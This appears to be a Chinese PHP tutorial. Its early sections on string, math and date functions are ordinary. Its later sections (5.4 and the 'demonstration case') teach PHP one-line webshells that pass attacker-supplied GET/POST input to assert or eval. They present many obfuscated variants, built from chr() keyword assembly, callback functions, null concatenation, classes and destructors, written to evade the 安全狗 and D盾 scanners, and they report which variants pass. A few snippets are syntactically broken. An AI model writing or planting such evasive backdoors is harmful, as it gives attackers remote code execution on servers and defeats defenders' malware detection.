- str_repeat()函数用于对指定的字符串
“*”
字符重复$len
次。
- substr_replace()函数用于对字符串
$tel
中第3个位置开始后的$len
长度的字符使用$replace
进行替换。
<?php
$tel = '18810881888'; // 随意输入一串数字作为手机号
$len = 4; // 设置覆盖的手机号长度
$replace = str_repeat('*', $len); // 生成一个包含 4 个 * 的字符串。
echo substr_replace($tel, $replace, 3, $len); // 从索引 3 开始,替换 4 个字符为 ****?>
substr_replace() 函数变形 assert 达到免杀的效果。
<?php
//phpinfo()返回php的详细信息
$a = substr_replace("assexx", "rt", 4); // 将"assexx"的从索引4开始的字符替换为"rt"
$a($_GET['cmd']); // 试图将GET数据作为函数调用?>
5.1.4 trim()去除字符串中首尾两端的空白字符。
程序开发中,去除字符串中的空白字符有时是必不可少的。例如,去除用户注册邮箱中首尾两端的空白字符。这时可以使用PHP提供的trim()函数,去除字符串中首尾两端的空白字符。
<?php
$string = " Hello, World! ";
$trimmed = trim($string);
echo $trimmed;?>
5.1.5 strcmp()比较两个字符串对应的ASCII码值
字符串的比较:一种比较运算符==
和===”
另一种函数strcmp()
。
区别:函数与比较运算符在使用时的区别是,字符串相等时前者的比较结果为0,后者的比较结果为true(非0)。因此在使用时需要注意不同方式的返回结果。
- strcmp()函数比较两个字符串对应的ASCII码值。
- 第1个参数的字符串与第2个参数的字符串相等返回0,小于返回小于0的值,大于则返回大于0的值。
'ye_PHP'
与'yePHP'
进行比较,两个字符串在第3个字符处不同(一个有_
,另一个没有),因此strcmp('ye_PHP', 'yePHP')
不会返回0
。
- 由于
strcmp()
返回非零值(表示字符串不相等),if
条件为真,输出not the same string
。
<?php
if (strcmp('ye_PHP', 'yePHP')) {echo 'not the same string';
} else {echo 'the same string';
}?>
5.1.6 strlen() 获取字符串的长度
strlen()函数在获取中文字符时,一个汉字占了3个字符,一个英文字符占1个字符。 这在处理多字节字符(如 UTF-8 编码)时可能会产生不同的结果。
如果需要计算字符数(尤其是在多字节字符的情况下),可以使用 mb_strlen()
函数,mb_strlen()函数
用于准确的获取字符串的长度。在使用mb_strlen()
函数前,首先要确保PHP配置文件中开启了“extension=php_mbstring.dll”
扩展。
<?php
$a = 'PHP书籍';
echo strlen($a); // 输出结果:9
echo "<br>";
$b = 'PHP书籍';
echo mb_strlen($b, 'UTF-8');// 输出结果:5?>
5.2 数学函数
为了方便开发人员处理程序中的数学运算,PHP内置了一系列的数学函数,用于获取最大值、最小值、生成随机数等常见的数学运算。
5.3 时间日期函数
在使用PHP开发Web应用程序时,经常会涉及日期和时间管理。 例如倒计时、用户登录时间、新闻发布时间、购买商品时下订单的时间等。 为此,PHP提供了内置的日期和时间处理函数,满足开发中的各种需求。
5.3.1 Unix时间戳
Unix时间戳(Unix timestamp)定义了从格林威治时间1970年01月01日 00时00分00秒起至现在的总秒数,以32位二进制数表示。
Unix纪元:1970年01月01日零点也叫作Unix纪元。
getdate() 函数返回一个数组,其中包含当前日期和时间的各个部分。
date_default_timezone_set("Asia/Shanghai"); // 设置时区为上海
date_default_timezone_set('PRC'); // 设置时区为中国时区
date_timezone_set() 用于设置日期时间对象的时区,但需要先创建一个日期时间对象。
5.3.2 格式化时间戳
对于用户来说,时间戳的直接输出,会让其看到一个毫无意义的整型数值。 为了将时间戳表示的时间以友好的形式显示出来,可以对时间戳进行格式化。
格式化的好处:
- 可读性:格式化后的日期时间字符串更易于用户理解。
- 国际化:可以根据需要调整日期格式,以适应不同地区的用户习惯。
- 友好的提示:可以结合其他文本,提供上下文信息,使输出更具意义。
PHP 的 date()
函数可以以不同格式输出当前日期。
- date("Y/m/d");
- date("Y.m.d");
- date("Y-m-d");
- date()函数第1个参数表示格式化日期时间的样式 。
- date()函数第2个参数表示待格式化的时间戳,省略时表示格式化当前时间戳。
<?php
echo date("Y/m/d") . "<br>";
echo date("Y.m.d") . "<br>";
echo date("Y-m-d"). "<br>";
echo date('Y-m-d H:i:s'). "<br>";
echo date('Y-m-d', 1487666317);?>
5.4 PHP免杀函数
eval函数 :是⼀个语⾔构造器⽽不是⼀个函数,不能被可变函数调⽤。
- 可变函数:通过⼀个变量,获取其对应的变量值,然后通过给该值增加⼀个括号(),让系统认为该值是⼀个函数,从⽽当做函数来执⾏通俗的说⽐如你
<?php$a=eval;$a()?>
这样是不⾏的,也造就了⽤eval的话达不到assert的灵活,但是在php7.1以上assert已经不能使用了。
assert()回调函数:在构建⾃动测试套件的时候尤其有⽤,因为它们允许你简易地捕获传⼊断⾔的代码,并包含断⾔的位置信息。当信息能够被其他⽅法捕获,使⽤断⾔可以让它更快更⽅便!
5.4.1 字符串变形
字符串变形多数用于 BYPASS 安全狗,相当对于 D 盾,安全狗更加重视 ”形“,一个特殊的变形就能绕过安全狗,看看 PHP 手册,有着很多关于操作字符串的函数。
定义函数绕过:定义一个函数把关键词分割达到 bypass 效果,这种绕过方法,对安全狗还是比较有效的在D盾面前就显得小儿科了。
<?php
function kdog($a){
$a($_POST['x']);
}
kdog(assert);
?
//反之
<?php
function kdog($a){
assert($a);
}
kdog($_POST[x]);
?>
5.4.2 回调函数变形
回调函数大部分已经被安全软件加入全家桶套餐 所以找到一个生僻的不常用的回调函数来执行比如:
<?php
forward_static_call_array(assert,array($_POST[x]));//这个函数能过狗,但是D盾显示是一级
?>
众多回调函数已经被加入豪华套餐了,要想绕过,其实也很简单 那就是定义个函数或者用类来调用。
这里定义了一个函数array_map($a, $b) 会把 $a 作为回调函数应用于 $b 数组的每个元素。这里 $a 被设置为 assert,并对 $_POST['x'] 中的数据执行 assert()。
<?php
function test($a,$b){
array_map($a,$b);
}
test(assert,array($_POST['x']));
?>
这里定义了一个类 loveme,构造函数接收 $a 和 $b 作为参数,并在 test() 方法中同样使用 array_map 来调用 $a(即 assert())处理 $b(即 $_POST['x'])。
<?php
class loveme {
var $a;
var $b;
function __construct($a,$b) {
$this->a=$a;
$this->b=$b;
}
function test() {
array_map($this->a,$this->b);
}
}
$p1=new loveme(assert,array($_POST['x']));
$p1->test();
?>
5.5 PHP手册的使用
打开PHP的官网“http://php.net”
,然后点击导航栏中的“Documentation” 切换到PHP手册文档页面,在“View Online”
在线手册查看页面选择 “Chinese(Simplified)”中文版后,即可以看到手册的首页界面。
教程:1.PHP 教程 (w3school.com.cn)
2.PHP 语法 | 菜鸟教程 (runoob.com)
六、演示案例
PHP一句话木马免杀绕过D盾
1.D盾的木马检测
首先编写两条最基本的一句话木马,如下所示可以正常执行php语句。
<?php @assert($_GET['cmd']);?>//assert()在php7版本以上不能执行语句,只能在php7版本以下可以使用。
<?php @eval($_GET['cmd']);?>
使用D盾去查杀,两个都报警了,提示assert后门和eval后门,并提示了风险变量$_GET['shell']
,绕过D盾的思路,就是隐藏或者伪装assert
和eval
关键字及$_GET
参数。
2.assert一句话木马的免杀
assert:检查断言是否为 false。 在php5.x中,断言函数assert()是一个功能很强大的函数,assert() 会检查指定的 assertion ,如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。所以可以将assert等D盾认为是高风险的关键字通过一些函数进行隐藏,配合变量函数,绕过D盾的检测机制。
2.1 array_map()函数
array_map :为数组的每个元素应用回调函数。 array_map() 返回一个array(数组),包含将 array 的相应值作为回调的参数顺序调用 callback 后的结果(如果提供了更多数组,还会利用 arrays 传入)。callback 函数形参的数量必须匹配 array_map() 实参中数组的数量。
语法:
array_map(myfunction,array1,array2,array3...)
assert($_GET['shell'])这个语句可以分为函数名和参数两个部分,分别用两个变量进行赋值,然后用array_map()串起来。
可以正常执行,再次使用D盾还是能检测到这几个敏感关键字,这是因为assert太明显了,我们需要把它转换一下。
<?php
$a="assert";
$b=array($_GET['cmd']);
array_map($a,$a=$b);
?>
使用ASCII码转换一下,然后构造一个自定义函数,把本体隐藏起来,这样和array_map关联的就是go()函数,和assart不会产生直接的联系。
成功运行,并且通过D盾检测。
<?php
function go()
{$a=chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);return $a;
}
$a=go();
$b=array($_GET['cmd']);
array_map($a,$a=$b);
?>
2.2call_user_func()函数
call_user_func :把第一个参数作为回调函数调用。 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
语法:
call_user_func(callable $callback, mixed ...$args): mixed
同样的,第一个参数'assert'作为回调函数,第二个参数是$_GET['sherry']变量,由于D盾没有仔细检查call_user_func()传入的参数,所以go()函数不作ASCII变换也可以通过检测。
<?php
function go()
{$a='assert';return $a;
}
$a=go();
$b=$_GET['cmd'];
call_user_func($a,$a=$b);
?>
2.3call_user_func_array()函数
call_user_func_array :调用回调函数,并把一个数组参数作为回调函数的参数。 把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入。
语法:
call_user_func_array(callable $callback, array $args): mixed
一句话木马只有一个参数,所以形式和call_user_func()是一样的,唯一不同的是参数要以数组形式输入。
<?php
function go()
{$a='assert';return $a;
}
$a=go();
$b=array($_GET['cmd']);
call_user_func_array($a,$a=$b);
?>
3.eval一句话木马的免杀
在PHP7以后,assert是语言结构而不是函数。PHP8不再允许在命名空间中声明叫做 assert() 的函数,所以PHP7以上不能使用assert一句话木马,只能使用eval替代。
eval:把字符串作为PHP代码执行。eval是一个语言构造器,并不是系统组件函数,因此我们在php.ini中使用disable_functions是无法禁止它的。同样的,eval不能被变量函数的方式所调用。因为它允许执行任意 PHP 代码。
根据eval的特性,我们需要构造一行字符串代码作为eval()的参数。 因为D盾对eval的参数过滤是非常严格的,所以需要通过对$_GET['cmd']拆分和变形,才能绕过D盾。
3.1Null拼接
通过构造Null变量进行拼接,如果D盾检测不严密的话,可能会忽略之后的有效参数。在Null下一行添加空变量,由于空变量多了,D盾没有识别出来后面的$_GET,成功绕过。
<?php
$a=Null;
$b='';
$c=$_GET[cmd];
eval($a.$b.$c)
?>
3.2 构造函数
将$_GET隐藏在函数里面,同时采取拼接或者加密等方式混淆敏感字符串,从而绕过D盾。
(1)函数 go():
- 该函数返回一个字符串,该字符串是用户通过
$_GET['sherry']
提供的内容,前后加上了两个空字符(\x00
)。
\x00
是ASCII的空字符,通常用于表示字符串的结束。
(2)eval(go()):
- 该行代码调用
go()
函数,并将返回的字符串作为PHP代码执行。
<?php
function()
{return "\x00.$_GET['cmd'].\x00";
}
eval(go())
?>
3.3 构造类
将eval隐藏在类方法中,然后实例化,将$_GET['sherry']传进去执行。
(1)定义一个类 Shell:
- 定义了一个包含两个方法的类:
setarg()
和go()
。
(2)setarg($str):
- 将参数
$str
赋值给$arg
属性,并附加了一个null
。这里的null
被转换为字符串,所以实际上就是赋值$str
的内容。
(3)go():
- 通过
eval()
函数执行$arg
的内容。这意味着如果$arg
包含有效的PHP代码,它将被执行。
(4)用户输入:
- 从
$_GET['sherry']
获取用户输入,并传递给setarg()
方法。
<?php
class Shell
{var $arg;function setarg($str){$this->arg = '' . $str . null; // 赋值给 $arg,并将其转换为字符串}function go(){eval("$this->arg"); // 动态执行 $arg 中的代码}
}
$run = new Shell;
$run->setarg($_GET['cmd']); // 从 URL 获取参数并设置
$run->go(); // 执行
?>
3.4 析构函数
析构函数(destructor) 与构造函数相反,当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。因为析构函数可以自动执行,所以在对象结束调用后会自动执行eval语句。
(1)类 Shell:
- 包含一个公共属性
$arg
,初始化为空字符串。
- 定义了一个析构函数
__destruct()
,该函数在对象销毁时自动调用。
(2)__destruct() 方法:
- 在对象销毁时,
eval()
函数被调用来执行$arg
中的代码。
- 由于
$arg
的内容是通过$_GET['sherry']
设置的,用户可以在请求中注入任意PHP代码。
<?php
class Shell
{public $arg = '';function __destruct(){eval("$this->arg"); // 在对象被销毁时执行 $arg 的内容}
}$run = new Shell;
$run->arg = $_GET['cmd']; // 从 URL 获取用户输入并赋值
?>